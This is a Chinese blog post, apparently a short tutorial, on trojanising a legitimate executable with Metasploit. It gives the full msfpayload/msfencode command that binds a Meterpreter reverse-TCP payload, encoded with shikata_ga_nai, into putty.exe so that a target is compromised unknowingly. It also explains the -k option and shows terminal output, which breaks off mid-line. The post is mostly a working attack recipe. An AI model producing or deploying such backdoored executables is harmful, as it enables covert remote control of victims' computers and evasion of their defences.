Metasploit的捆绑后门（炊少教学）

信安微凉

于 2022-02-25 12:41:02 发布

阅读量866

点赞数

分类专栏：工具使用文章标签： p2p 网络协议网络

本文链接：https://blog.youkuaiyun.com/weiliang369/article/details/123130483

版权

工具使用专栏收录该内容

26 篇文章 ¥19.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了如何利用Metasploit将payload绑定到可执行文件，如putty.exe，以实现隐蔽的攻击。如果不使用-k选项，目标运行程序时不会有cmd窗口出现，而-k则确保payload独立运行。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

绑定payload 至一个可执行文件，让目标不知不觉间中招，以putty.exe 为例：

1	./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.105 R \|./msfencode -t exe -x /tmp/putty.exe -k -o /tmp/putty_pro.exe -e x86/shikata_ga_nai -c 5

假如选择一个GUI 界面的程序作为绑定目标并且不使用-k 选项，则目标执行此程序的时候不会弹出cmd 窗口，-k 选项的作用是payload 独立于模板软件的进程运行。

root@Dis9Team:~# cd /pentest/exploits/framework
root@Dis9Team:/pentest/exploits/framework# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.105 R |./msfencode -t exe -x /tmp/putty.exe -k -o /tmp/putty_pro.exe -e x86/shikata_ga_nai -c 5
[*] x86/shikata_g